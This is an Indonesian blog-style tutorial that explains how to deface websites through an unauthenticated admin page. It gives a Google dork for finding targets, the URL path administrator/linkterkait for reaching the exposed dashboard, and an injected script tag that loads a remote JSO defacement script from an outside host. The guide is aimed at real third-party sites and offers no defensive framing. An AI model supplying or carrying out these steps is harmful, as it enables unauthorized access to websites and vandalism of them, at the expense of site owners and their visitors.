Cara Deface Poc Mistake Admin

Halo gengs disini gua akan share tutorial Cara Deface Poc Mistake Admin

Mistake Admin merupakan salah satu cara deface yang menemukan dashboard admin tanpa harus login terlebih dahulu, teknik deface ini menggunakan dork yang dimana halaman dapat diganti dengan script Jso untuk mendeface halaman website tersebut. 

Bahan yang harus disiapkan yaitu:

Chrome

• Dork: inurl: page/detail juli 2022
• Exploit: administrator/linkterkait
• Jika sudah di Deface untuk edit dashboard menggunakan Exploit: administrator/edit_linkterkait/1

Oke langsung aja!

Langkah-langkah:

1. pertama kalian search dulu dork nya di google chrome

2. Pilih salah satu target

3. Setelah itu ganti dork page/detail

4. Ganti jadi administrator/linkterkait

5. Jika vuln maka akan masuk kedalam dashboard admin seperti dibawah ini!

6. Kemudian klik action warna hijau

9. Setelah itu masukan script Jso <script type="text/javascript" src="http://linkjso.com"></script>

Bagi yang belum tau cara membuat script JSO 

Baca artikel : Cara membuat Script Jso 

 

Setelah itu klik update

10. Lalu refresh halaman website, maka akan terganti dengan script Jso kalian

Itulah tutorial Cara Deface Poc Mistake Admin jika ada yang kurang mengerti bisa chat dikolom komentar dibawah ini.

Terima Kasih!